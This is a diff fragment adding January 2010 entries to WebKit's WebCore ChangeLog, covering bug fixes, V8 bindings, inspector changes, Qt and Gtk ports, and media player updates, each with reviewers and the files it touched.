+        Reviewed by Dimitri Glazkov.
+
+        Tests that when a page removes an iframe that sleeps in its unload handler and
+        terminates its JS execution, the outer page's JS continues running.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=34226
+
+        Tests: fast/dom/Window/slow-unload-handler-only-frame-is-stopped.html
+               fast/dom/Window/slow-unload-handler.html
+
+        * bindings/v8/DateExtension.cpp:
+        (WebCore::DateExtension::OnSleepDetected):
+
+2010-01-27  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Add valueAsNumber support for type=datetime-local.
+        https://bugs.webkit.org/show_bug.cgi?id=34200
+
+        Implement necessary methods of ISODateTime, and call them from
+        HTMLInputElement.
+
+        Test: fast/forms/input-valueasnumber-datetimelocal.html
+
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::valueAsNumber):
+        (WebCore::HTMLInputElement::setValueAsNumber):
+        * html/ISODateTime.cpp:
+        (WebCore::ISODateTime::setMillisecondsSinceEpochForDateTimeLocal):
+          Implemented.  Just call setMillisecondsSinceEpochForDateTime().
+        (WebCore::ISODateTime::millisecondsSinceEpochForTime):
+          Accept to be called for m_type=DateTimeLocal.
+        (WebCore::ISODateTime::toString): Add DateTimeLocal support.
+        * html/ISODateTime.h: Declare new methods.
+
+2010-01-27  Steve Falkenburg  <sfalken@apple.com>
+
+        Windows Debug_All build fix.
+
+        * platform/graphics/win/WKCACFLayer.cpp:
+        * platform/graphics/win/WKCACFLayerRenderer.cpp:
+
+2010-01-27  Evan Martin  <evan@chromium.org>
+
+        Reviewed by David Levin.
+
+        [chromium] complex text draws newlines as bells
+        https://bugs.webkit.org/show_bug.cgi?id=34186
+
+        Revert r45496 -- once we've got a glyph array, it is too late to normalize
+        because we could have had multiple codepoints combine into one glyph.  The
+        Uniscribe code it mentions it's duplicating uses the log cluster map to fix
+        this.
+
+        Instead, we just normalize the input text if it contains any non-ascii-space
+        whitespace.
+
+        This fixes fast/text/international/hindi-whitespace, which currently has an
+        incorrect baseline containing a square box glyph.
+
+        * platform/graphics/chromium/FontLinux.cpp:
+        (WebCore::TextRunWalker::getTextRun):
+        (WebCore::TextRunWalker::getNormalizedTextRun):
+        * platform/graphics/chromium/HarfbuzzSkia.cpp:
+        (WebCore::stringToGlyphs):
+
+2010-01-27  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34150
+        WebKit needs a mechanism to catch stale HashMap entries
+
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSRuleSet::getIDRules):
+        (WebCore::CSSRuleSet::getClassRules):
+        (WebCore::CSSRuleSet::getTagRules):
+        (WebCore::CSSStyleSelector::keyframeStylesForAnimation):
+        * dom/CheckedRadioButtons.cpp:
+        (WebCore::CheckedRadioButtons::checkedButtonForGroup):
+        (WebCore::CheckedRadioButtons::removeButton):
+        * editing/markup.cpp:
+        (WebCore::shouldAddNamespaceAttr):
+        (WebCore::appendNamespace):
+        (WebCore::appendStartMarkup):
+        * html/HTMLCollection.cpp:
+        (WebCore::HTMLCollection::namedItems):
+        (WebCore::HTMLCollection::nextNamedItem):
+        * html/HTMLFormCollection.cpp:
+        (WebCore::HTMLFormCollection::formCollectionInfo):
+        * html/HTMLSelectElement.h:
+        (WebCore::HTMLSelectElement::collectionInfo):
+        * loader/loader.cpp:
+        (WebCore::Loader::load):
+        (WebCore::Loader::servePendingRequests):
+        (WebCore::Loader::nonCacheRequestInFlight):
+        (WebCore::Loader::nonCacheRequestComplete):
+        (WebCore::Loader::cancelRequests):
+        * page/animation/CompositeAnimation.cpp:
+        (WebCore::CompositeAnimation::clearRenderer):
+        (WebCore::CompositeAnimation::updateKeyframeAnimations):
+        (WebCore::CompositeAnimation::animate):
+        (WebCore::CompositeAnimation::getAnimatedStyle):
+        (WebCore::CompositeAnimation::setAnimating):
+        (WebCore::CompositeAnimation::timeToNextService):
+        (WebCore::CompositeAnimation::getAnimationForProperty):
+        (WebCore::CompositeAnimation::suspendAnimations):
+        (WebCore::CompositeAnimation::resumeAnimations):
+        (WebCore::CompositeAnimation::isAnimatingProperty):
+        (WebCore::CompositeAnimation::pauseAnimationAtTime):
+        (WebCore::CompositeAnimation::numberOfActiveAnimations):
+        Added checkConsistency checks before lookups in HashMaps with AtomicStringImpl* keys.
+
+        * dom/Document.cpp:
+        (WebCore::Document::removedLastRef): Clear m_elementsById map, because removeAllChildren()
+        doesn't always update it correctly when called during docuemnt destruction.
+        (WebCore::Document::getElementById): Added checkConsistency().
+        (WebCore::Document::removeElementById): Ditto.
+        (WebCore::Document::removeImageMap): Ditto.
+        (WebCore::Document::getImageMap): Ditto.
+        (WebCore::Document::nameCollectionInfo): Ditto.
+        * dom/Document.h:
+        (WebCore::Document::collectionInfo): Ditto.
+
+        * html/CollectionCache.cpp:
+        (WebCore::CollectionCache::checkConsistency):
+        * html/CollectionCache.h:
+        Added a checkConsistency() method that checks both HashMaps in the cache.
+
+        * platform/TreeShared.h:
+        (WebCore::TreeShared::~TreeShared): Assert that m_refCount is null. Since Nodes can be
+        destroyed with operator delete (as done in ContainerNodeAlgorithms), this is important to check.
+        (WebCore::TreeShared::deref): Assert that m_refCount isn't already negative.
+
+2010-01-27  Brian Tarricone  <brian@kakai.com>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        [gtk] Add support for windowless NPAPI plugins
+
+        Much of this is a translation of how the Qt backend does this,
+        modified for Gtk.
+
+        https://bugs.webkit.org/show_bug.cgi?id=18831
+
+        No new tests; there is already a windowless test in the tree.
+
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::handleEvent):
+        (WebCore::PluginView::PluginView):
+        * plugins/PluginView.h:
+        * plugins/gtk/PluginViewGtk.cpp:
+        (WebCore::getRootWindow):
+        (WebCore::PluginView::updatePluginWidget):
+        (WebCore::PluginView::paint):
+        (WebCore::PluginView::handleKeyboardEvent):
+        (WebCore::inputEventState):
+        (WebCore::PluginView::initXEvent):
+        (WebCore::setXButtonEventSpecificFields):
+        (WebCore::setXMotionEventSpecificFields):
+        (WebCore::setXCrossingEventSpecificFields):
+        (WebCore::PluginView::handleMouseEvent):
+        (WebCore::PluginView::handleFocusInEvent):
+        (WebCore::PluginView::handleFocusOutEvent):
+        (WebCore::PluginView::setNPWindowRect):
+        (WebCore::PluginView::setNPWindowIfNeeded):
+        (WebCore::PluginView::getValueStatic):
+        (WebCore::PluginView::invalidateRect):
+        (WebCore::getPluginDisplay):
+        (WebCore::plug_removed_cb):
+        (WebCore::getVisualAndColormap):
+        (WebCore::PluginView::platformStart):
+        (WebCore::PluginView::platformDestroy):
+
+2010-01-27  Anton Muhin  <antonm@chromium.org>
+
+        Reviewed by David Levin.
+
+        [v8] minor cosmetic fix in V8 bindings codegenerator
+        https://bugs.webkit.org/show_bug.cgi?id=34224
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+
+2010-01-27  Darin Fisher  <darin@chromium.org>
+
+        Fix Chromium build bustage.
+
+        * rendering/RenderBoxModelObject.cpp: Add wtf/CurrentTime.h include.
+
+2010-01-26  Darin Fisher  <darin@chromium.org>
+
+        Reviewed by Brady Eidson and David Levin.
+
+        Chains of history items representing same-document navigation need to
+        always remember that association
+
+        https://bugs.webkit.org/show_bug.cgi?id=33224
+
+        Replace HistoryItem's Document pointer with a DocumentSequenceNumber.
+        During session history traversal, if the current HistoryItem and the
+        target HistoryItem have the same DocumentSequenceNumber, then it means
+        that the current Document should remain.
+
+        NOTE: To support Chromium's serialization of HistoryItems, I generate
+        DocumentSequenceNumbers that are unique across application launches.
+        DocumentSequenceNumbers are generated using a counter initialized with
+        the time of day.
+
+        Test: fast/loader/stateobjects/document-destroyed-navigate-back.html
+
+        * dom/Document.cpp:
+        (WebCore::Document::detach):
+        * dom/Document.h:
+        * history/BackForwardList.cpp:
+        (WebCore::BackForwardList::pushStateItem):
+        * history/BackForwardListChromium.cpp:
+        (WebCore::BackForwardList::pushStateItem):
+        * history/HistoryItem.cpp:
+        (WebCore::generateDocumentSequenceNumber):
+        (WebCore::HistoryItem::HistoryItem):
+        (WebCore::HistoryItem::~HistoryItem):
+        (WebCore::HistoryItem::setStateObject):
+        * history/HistoryItem.h:
+        (WebCore::HistoryItem::setDocumentSequenceNumber):
+        (WebCore::HistoryItem::documentSequenceNumber):
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::navigateWithinDocument):
+        (WebCore::FrameLoader::loadItem):
+        * loader/HistoryController.cpp:
+        (WebCore::HistoryController::updateBackForwardListForFragmentScroll):
+        (WebCore::HistoryController::pushState):
+        (WebCore::HistoryController::replaceState):
+        * loader/RedirectScheduler.cpp:
+        (WebCore::RedirectScheduler::scheduleHistoryNavigation):
+        * page/History.cpp:
+        (WebCore::History::stateObjectAdded):
+        * page/Page.cpp:
+        (WebCore::Page::goToItem):
+
+2010-01-27  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Animated scaling of background-image is too slow
+        https://bugs.webkit.org/show_bug.cgi?id=33808
+
+        Implement a version of the RenderImage animated scaling optimisation
+        for background images.  Due to the possibility of arbitrary transforms
+        being applied to containing elements we explicitly check the current
+        CTM of the context for scaling or rotation.
+
+        * platform/graphics/GraphicsContext.cpp:
+        (WebCore::GraphicsContext::drawTiledImage):
+        * platform/graphics/GraphicsContext.h:
+        * platform/graphics/transforms/TransformationMatrix.h:
+        (WebCore::TransformationMatrix::isIdentityOrTranslation):
+        * rendering/RenderBoxModelObject.cpp:
+        (WebCore::RenderBoxModelScaleData::RenderBoxModelScaleData):
+        (WebCore::RenderBoxModelScaleData::~RenderBoxModelScaleData):
+        (WebCore::RenderBoxModelScaleData::size):
+        (WebCore::RenderBoxModelScaleData::time):
+        (WebCore::RenderBoxModelScaleData::useLowQualityScale):
+        (WebCore::RenderBoxModelScaleData::hiqhQualityRepaintTimer):
+        (WebCore::RenderBoxModelScaleData::setSize):
+        (WebCore::RenderBoxModelScaleData::setTime):
+        (WebCore::RenderBoxModelScaleData::setUseLowQualityScale):
+        (WebCore::RenderBoxModelScaleObserver::boxModelObjectDestroyed):
+        (WebCore::RenderBoxModelScaleObserver::highQualityRepaintTimerFired):
+        (WebCore::RenderBoxModelScaleObserver::shouldPaintBackgroundAtLowQuality):
+        (WebCore::RenderBoxModelObject::highQualityRepaintTimerFired):
+        (WebCore::RenderBoxModelObject::~RenderBoxModelObject):
+        (WebCore::RenderBoxModelObject::paintFillLayerExtended):
+        * rendering/RenderBoxModelObject.h:
+
+2010-01-27  Yael Aharon  <yael.aharon@nokia.com>
+
+        Reviewed by Laszlo Gombos.
+
+        [Qt] Enable websockets support in QtWebKit
+        https://bugs.webkit.org/show_bug.cgi?id=34180
+
+        Connected between SocketStreamHandle and QTcpSocket/QSslSocket
+        to enable support for websockets.
+        Proxy authentication is not yet supported.
+        SSL certificate errors are ignored while this is under development.
+
+        * WebCore.pro:
+        * platform/network/qt/SocketStreamHandle.h:
+        * platform/network/qt/SocketStreamHandlePrivate.h: Added.
+        * platform/network/qt/SocketStreamHandleQt.cpp:
+        (WebCore::SocketStreamHandlePrivate::SocketStreamHandlePrivate):
+        (WebCore::SocketStreamHandlePrivate::~SocketStreamHandlePrivate):
+        (WebCore::SocketStreamHandlePrivate::socketConnected):
+        (WebCore::SocketStreamHandlePrivate::socketReadyRead):
+        (WebCore::SocketStreamHandlePrivate::send):
+        (WebCore::SocketStreamHandlePrivate::close):
+        (WebCore::SocketStreamHandlePrivate::socketSentdata):
+        (WebCore::SocketStreamHandlePrivate::socketClosed):
+        (WebCore::SocketStreamHandlePrivate::socketError):
+        (WebCore::SocketStreamHandlePrivate::socketClosedCallback):
+        (WebCore::SocketStreamHandlePrivate::socketErrorCallback):
+        (WebCore::SocketStreamHandlePrivate::socketSslErrors):
+        (WebCore::SocketStreamHandle::SocketStreamHandle):
+        (WebCore::SocketStreamHandle::~SocketStreamHandle):
+        (WebCore::SocketStreamHandle::platformSend):
+        (WebCore::SocketStreamHandle::platformClose):
+
+2010-01-27  Mads Ager  <ager@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Support getting integer-named properties using indexing notation on document object
+        https://bugs.webkit.org/show_bug.cgi?id=34211
+
+        Add indexed property getter to HTMLDocument to support getting
+        elements with integer names using indexing notation on document.
+
+        Test: fast/dom/HTMLDocument/get-iframe-with-integer-name.html
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/custom/V8HTMLDocumentCustom.cpp:
+        (WebCore::V8HTMLDocument::indexedPropertyGetter):
+
+2010-01-27  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Oliver Hunt.
+
+        Instead of relying on Object.prototype.toString result use JSObject::isActivationObject
+        to check if a scope node is a JSActivation. Object.prototype.toString for JSActivation
+        will call JSActivation::toThisObject whose result depends on the current call stack.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34161
+
+        Test: WebCore/manual-tests/inspector/debugger-scopes-inspection.html
+
+        * bindings/js/JSInjectedScriptHostCustom.cpp:
+        (WebCore::JSInjectedScriptHost::isActivation):
+        * inspector/InjectedScriptHost.idl:
+        * inspector/front-end/InjectedScript.js:
+        (injectedScriptConstructor.):
+        * manual-tests/inspector/debugger-scopes-inspection.html: Added.
+
+2010-01-27 Anton Muhin <antonm@google.com>
+        Review by Adam Barth.
+
+        Implement Node map in intrusive way for better speed.
+        https://bugs.webkit.org/show_bug.cgi?id=33957
+
+        * bindings/v8/DOMData.h:
+        (WebCore::DOMData::removeObjectsFromWrapperMap):
+        * bindings/v8/DOMDataStore.cpp:
+        (WebCore::DOMDataStore::IntrusiveDOMWrapperMap::get):
+        (WebCore::DOMDataStore::IntrusiveDOMWrapperMap::set):
+        (WebCore::DOMDataStore::IntrusiveDOMWrapperMap::removeIfPresent):
+        (WebCore::DOMDataStore::IntrusiveDOMWrapperMap::contains):
+        (WebCore::DOMDataStore::IntrusiveDOMWrapperMap::visit):
+        (WebCore::DOMDataStore::IntrusiveDOMWrapperMap::clear):
+        (WebCore::DOMDataStore::IntrusiveDOMWrapperMap::allocateTableEntry):
+        (WebCore::DOMDataStore::IntrusiveDOMWrapperMap::freeTableEntry):
+        * bindings/v8/DOMDataStore.h:
+        (WebCore::DOMDataStore::IntrusiveDOMWrapperMap::IntrusiveDOMWrapperMap):
+        (WebCore::DOMDataStore::IntrusiveDOMWrapperMap::clearEntry):
+        (WebCore::DOMDataStore::IntrusiveDOMWrapperMap::clearEntries):
+        (WebCore::DOMDataStore::IntrusiveDOMWrapperMap::visitEntries):
+        (WebCore::DOMDataStore::IntrusiveDOMWrapperMap::TableChunk::TableChunk):
+        (WebCore::DOMDataStore::domNodeMap):
+        * bindings/v8/StaticDOMDataStore.cpp:
+        (WebCore::StaticDOMDataStore::StaticDOMDataStore):
+        * bindings/v8/StaticDOMDataStore.h:
+        * bindings/v8/V8DOMMap.cpp:
+        (WebCore::getDOMNodeMap):
+        * bindings/v8/V8DOMMap.h:
+        (WebCore::AbstractWeakReferenceMap::AbstractWeakReferenceMap):
+        (WebCore::AbstractWeakReferenceMap::weakReferenceCallback):
+        (WebCore::WeakReferenceMap::WeakReferenceMap):
+        (WebCore::WeakReferenceMap::set):
+        (WebCore::WeakReferenceMap::visit):
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::convertDocumentToV8Object):
+        (WebCore::getWrapper):
+        (WebCore::V8DOMWrapper::convertNodeToV8Object):
+        (WebCore::V8DOMWrapper::convertNewNodeToV8Object):
+        * bindings/v8/V8DOMWrapper.h:
+
+2010-01-27  Kinuko Yasuda  <kinuko@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Add key event mappings for numpad keys for Gtk and Chromium/Gtk.
+        http://bugs.webkit.org/show_bug.cgi?id=28247
+
+        Test: fast/events/keydown-numpad-keys.html
+
+        * platform/chromium/KeyCodeConversionGtk.cpp:
+        (WebCore::windowsKeyCodeForKeyEvent):
+        * platform/gtk/KeyEventGtk.cpp:
+        (WebCore::windowsKeyCodeForKeyEvent):
+
+2010-01-27  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: migrate from SourceFrame to SourceFrame2.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34171
+
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * bindings/js/JSInspectorFrontendHostCustom.cpp:
+        * bindings/v8/custom/V8InspectorFrontendHostCustom.cpp:
+        * inspector/InspectorFrontendHost.cpp:
+        * inspector/InspectorFrontendHost.h:
+        * inspector/InspectorFrontendHost.idl:
+        * inspector/front-end/InspectorBackendStub.js:
+        * inspector/front-end/InspectorFrontendHostStub.js:
+        * inspector/front-end/ResourceView.js:
+        (WebInspector.ResourceView.prototype._innerSelectContentTab):
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.getResourceContent):
+        * inspector/front-end/ScriptView.js:
+        (WebInspector.ScriptView):
+        (WebInspector.ScriptView.prototype.setupSourceFrameIfNeeded):
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel.prototype._sidebarResizeDrag):
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame):
+        (WebInspector.SourceFrame.prototype.set executionLine):
+        (WebInspector.SourceFrame.prototype.revealLine):
+        (WebInspector.SourceFrame.prototype.addBreakpoint):
+        (WebInspector.SourceFrame.prototype.removeBreakpoint):
+        (WebInspector.SourceFrame.prototype.addMessage):
+        (WebInspector.SourceFrame.prototype.clearMessages):
+        (WebInspector.SourceFrame.prototype.sizeToFitContentHeight):
+        (WebInspector.SourceFrame.prototype.setContent):
+        (WebInspector.SourceFrame.prototype.findSearchMatches):
+        (WebInspector.SourceFrame.prototype._collectRegexMatches):
+        (WebInspector.SourceFrame.prototype.setSelection):
+        (WebInspector.SourceFrame.prototype._incrementMessageRepeatCount):
+        (WebInspector.SourceFrame.prototype._addExistingMessagesToSource):
+        (WebInspector.SourceFrame.prototype._addMessageToSource):
+        (WebInspector.SourceFrame.prototype._addExistingBreakpointsToSource):
+        (WebInspector.SourceFrame.prototype._addBreakpointToSource):
+        (WebInspector.SourceFrame.prototype._removeBreakpointFromSource):
+        (WebInspector.SourceFrame.prototype._contextMenu.addConditionalBreakpoint):
+        (WebInspector.SourceFrame.prototype._contextMenu):
+        (WebInspector.SourceFrame.prototype._toggleBreakpoint):
+        (WebInspector.SourceFrame.prototype._editBreakpointCondition.committed):
+        (WebInspector.SourceFrame.prototype._editBreakpointCondition.dismissed):
+        (WebInspector.SourceFrame.prototype._editBreakpointCondition):
+        (WebInspector.SourceFrame.prototype._showBreakpointConditionPopup):
+        (WebInspector.SourceFrame.prototype._createConditionElement):
+        (WebInspector.SourceFrame.prototype._keyDown):
+        (WebInspector.SourceFrame.prototype._evalSelectionInCallFrame):
+        (WebInspector.SourceFrame.prototype._breakpointChanged):
+        (WebInspector.SourceFrame.prototype.resize):
+        (WebInspector.BreakpointLineNumberDecorator):
+        (WebInspector.BreakpointLineNumberDecorator.prototype.decorate):
+        (WebInspector.BreakpointLineNumberDecorator.prototype._paintBreakpoint):
+        (WebInspector.BreakpointLineNumberDecorator.prototype._paintProgramCounter):
+        (WebInspector.BreakpointLineNumberDecorator.prototype.mouseDown):
+        (WebInspector.BreakpointLineNumberDecorator.prototype.contextMenu):
+        (WebInspector.ExecutionLineDecorator):
+        (WebInspector.ExecutionLineDecorator.prototype.decorate):
+        * inspector/front-end/SourceFrame2.js: Removed.
+        * inspector/front-end/SourceView.js:
+        (WebInspector.SourceView):
+        (WebInspector.SourceView.prototype.show):
+        (WebInspector.SourceView.prototype.resize):
+        (WebInspector.SourceView.prototype.setupSourceFrameIfNeeded):
+        (WebInspector.SourceView.prototype._contentLoaded):
+        (WebInspector.SourceView.prototype.performSearch.findSearchMatches):
+        (WebInspector.SourceView.prototype.performSearch):
+        (WebInspector.SourceView.prototype._jumpToSearchResult):
+        (WebInspector.SourceView.prototype._sourceFrameSetupFinished):
+        * inspector/front-end/TextEditor.js:
+        (WebInspector.TextEditor.prototype._mouseDown):
+        (WebInspector.TextEditor.prototype._copy.delayCopy):
+        (WebInspector.TextEditor.prototype._copy):
+        (WebInspector.TextEditor.prototype._cut):
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/inspector.html:
+
+2010-01-27  Dominik Röttsches  <dominik.roettsches@access-company.com>
+
+        Reviewed by Xan Lopez.
+
+        [Gtk] For removing ICU, implement IDN support by means of libidn
+        https://bugs.webkit.org/show_bug.cgi?id=31470
+
+        In order to avoid a new dependency, 
+        IDN support now based on GLib for the GLib unicode backend.
+
+        * platform/KURL.cpp:
+        (WebCore::appendEncodedHostname):
+
+2010-01-27  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] For package builds use the .def files on Symbian
+
+        * WebCore.pro:
+
+2010-01-27  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Avoid watch expressions duplication
+        https://bugs.webkit.org/show_bug.cgi?id=33996
+
+        * inspector/front-end/WatchExpressionsSidebarPane.js:
+        (WebInspector.WatchExpressionsSidebarPane.prototype._settingsLoaded):
+
+2010-01-27  Marcus Bulach  <bulach@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Adds EventSource bindings for V8
+        https://bugs.webkit.org/show_bug.cgi?id=33695
+
+        No new tests (existing layout tests for EventSource should pass).
+
+        * Android.v8bindings.mk:
+        * WebCore.gypi:
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/DOMObjectsInclude.h:
+        * bindings/v8/DerivedSourcesAllInOne.cpp:
+        * bindings/v8/V8DOMWrapper.cpp:
+        * bindings/v8/V8DOMWrapper.h:
+        * bindings/v8/V8Index.cpp:
+        * bindings/v8/V8Index.h:
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8EventSourceConstructor.cpp: Added.
+        * bindings/v8/custom/V8EventSourceCustom.cpp: Added.
+
+2010-01-27  Kent Hansen  <kent.hansen@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Meta-methods can't be introspected using ES5 API
+        https://bugs.webkit.org/show_bug.cgi?id=34087
+
+        Add getOwnPropertyDescriptor() and getOwnPropertyNames() reimplementations.
+
+        Tests are in WebKit/qt/tests/qwebframe
+
+        * bridge/qt/qt_runtime.cpp:
+        (JSC::Bindings::QtRuntimeMetaMethod::getOwnPropertyDescriptor):
+        (JSC::Bindings::QtRuntimeMetaMethod::getOwnPropertyNames):
+        (JSC::Bindings::QtRuntimeConnectionMethod::getOwnPropertyDescriptor):
+        (JSC::Bindings::QtRuntimeConnectionMethod::getOwnPropertyNames):
+        * bridge/qt/qt_runtime.h:
+
+2010-01-27  Tony Chang  <tony@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Fix a crash when trying to indent a block element that was contained
+        in a list.  This was happening because enclosingBlock() in
+        htmlediting.cpp can return the current the same Node when a block
+        element (like an <hr> or a <table>) is passed in.  This causes
+        the indent command to think that it is not in a list item.
+
+        Work around this by checking to see if enclosingBlock returned the
+        same Node.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32390
+
+        Test: editing/execCommand/indent-block-in-list.html
+
+        * editing/IndentOutdentCommand.cpp:
+        (WebCore::IndentOutdentCommand::tryIndentingAsListItem):
+
+2010-01-27  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] Add the "d" suffix to QtWebKit's dll on Windows.
+
+        * WebCore.pro:
+
+2010-01-27  Matt Perry  <mpcomplete@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Fix a bug where dispatchDocumentElementAvailable was fired for fragment parsing on XML documents.
+        https://bugs.webkit.org/show_bug.cgi?id=33920
+
+        Tests: userscripts/script-not-run-for-fragments.html
+               userscripts/script-run-at-start.html
+
+        * dom/XMLTokenizerLibxml2.cpp:
+        (WebCore::XMLTokenizer::startElementNs):
+
+2010-01-27  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Improve SourceHTMLTokenizer so that it treats script tag well.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34177
+
+        * inspector/front-end/SourceHTMLTokenizer.js:
+        (WebInspector.SourceHTMLTokenizer):
+        (WebInspector.SourceHTMLTokenizer.prototype._isAttribute):
+        (WebInspector.SourceHTMLTokenizer.prototype._isAttributeValue):
+        (WebInspector.SourceHTMLTokenizer.prototype._setAttributeValue):
+        (WebInspector.SourceHTMLTokenizer.prototype._setAttribute):
+        (WebInspector.SourceHTMLTokenizer.prototype._stringToken):
+        (WebInspector.SourceHTMLTokenizer.prototype.nextToken):
+        * inspector/front-end/SourceHTMLTokenizer.re2js:
+
+2010-01-26  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: nuke quarantine wrappers.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34203
+
+        * Android.jscbindings.mk:
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * bindings/js/JSBindingsAllInOne.cpp:
+        * bindings/js/JSInspectedObjectWrapper.cpp: Removed.
+        * bindings/js/JSInspectedObjectWrapper.h: Removed.
+        * bindings/js/JSInspectorCallbackWrapper.cpp: Removed.
+        * bindings/js/JSInspectorCallbackWrapper.h: Removed.
+        * bindings/js/JSQuarantinedObjectWrapper.cpp: Removed.
+        * bindings/js/JSQuarantinedObjectWrapper.h: Removed.
+
+2010-01-27  Alexey Proskuryakov  <ap@apple.com>
+
+        Revert r53899 (HashMap<AtomicStringImpl*, Value> key checks) and subsequent build fixes,
+        because they make SVG tests crash in release builds.
+
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSRuleSet::getIDRules):
+        (WebCore::CSSRuleSet::getClassRules):
+        (WebCore::CSSRuleSet::getTagRules):
+        (WebCore::CSSStyleSelector::keyframeStylesForAnimation):
+        * dom/CheckedRadioButtons.cpp:
+        (WebCore::CheckedRadioButtons::checkedButtonForGroup):
+        (WebCore::CheckedRadioButtons::removeButton):
+        * dom/ContainerNodeAlgorithms.h:
+        (WebCore::removeAllChildrenInContainer):
+        * dom/Document.cpp:
+        (WebCore::Document::getElementById):
+        (WebCore::Document::removeElementById):
+        (WebCore::Document::removeImageMap):
+        (WebCore::Document::getImageMap):
+        (WebCore::Document::nameCollectionInfo):
+        * dom/Document.h:
+        (WebCore::Document::collectionInfo):
+        * editing/markup.cpp:
+        (WebCore::shouldAddNamespaceAttr):
+        (WebCore::appendNamespace):
+        (WebCore::appendStartMarkup):
+        * html/CollectionCache.cpp:
+        * html/CollectionCache.h:
+        * html/HTMLCollection.cpp:
+        (WebCore::HTMLCollection::namedItems):
+        (WebCore::HTMLCollection::nextNamedItem):
+        * html/HTMLFormCollection.cpp:
+        (WebCore::HTMLFormCollection::formCollectionInfo):
+        * html/HTMLSelectElement.h:
+        (WebCore::HTMLSelectElement::collectionInfo):
+        * loader/loader.cpp:
+        (WebCore::Loader::load):
+        (WebCore::Loader::servePendingRequests):
+        (WebCore::Loader::nonCacheRequestInFlight):
+        (WebCore::Loader::nonCacheRequestComplete):
+        (WebCore::Loader::cancelRequests):
+        * page/animation/CompositeAnimation.cpp:
+        (WebCore::CompositeAnimation::clearRenderer):
+        (WebCore::CompositeAnimation::updateKeyframeAnimations):
+        (WebCore::CompositeAnimation::animate):
+        (WebCore::CompositeAnimation::getAnimatedStyle):
+        (WebCore::CompositeAnimation::setAnimating):
+        (WebCore::CompositeAnimation::timeToNextService):
+        (WebCore::CompositeAnimation::getAnimationForProperty):
+        (WebCore::CompositeAnimation::suspendAnimations):
+        (WebCore::CompositeAnimation::resumeAnimations):
+        (WebCore::CompositeAnimation::isAnimatingProperty):
+        (WebCore::CompositeAnimation::pauseAnimationAtTime):
+        (WebCore::CompositeAnimation::numberOfActiveAnimations):
+        * platform/TreeShared.h:
+        (WebCore::TreeShared::~TreeShared):
+        (WebCore::TreeShared::deref):
+
+2010-01-25  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Eric Seidel.
+
+        autobuffer value not forwarded media element to MediaPlayer
+        https://bugs.webkit.org/show_bug.cgi?id=33889
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::loadResource): Forward autobuffer
+        value to MediaPlayer instance.
+        * platform/graphics/MediaPlayer.cpp:
+        (WebCore::MediaPlayer::load): Forward autobuffer and
+        preservesPitch values to newly created platform media player instance.
+
+2010-01-25  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Eric Seidel.
+
+        [Gtk] media/video-reverse-play-duration.html fails on and off on Gtk buildbots
+        https://bugs.webkit.org/show_bug.cgi?id=34086
+
+        Cache media duration and fix didEnd() in case of reverse
+        playback. When EOS was reached but in case of reverse playback the
+        position is not always 0. So to not confuse the HTMLMediaElement
+        we synchronize position and duration values.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::duration):
+        (WebCore::MediaPlayerPrivate::updateStates):
+        (WebCore::MediaPlayerPrivate::didEnd):
+        (WebCore::MediaPlayerPrivate::durationChanged):
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.h:
+
+2010-01-27  Alexey Proskuryakov  <ap@apple.com>
+
+        * WebCore.xcodeproj/project.pbxproj: Actually land the change to add ContainerNodeAlgorithms.h
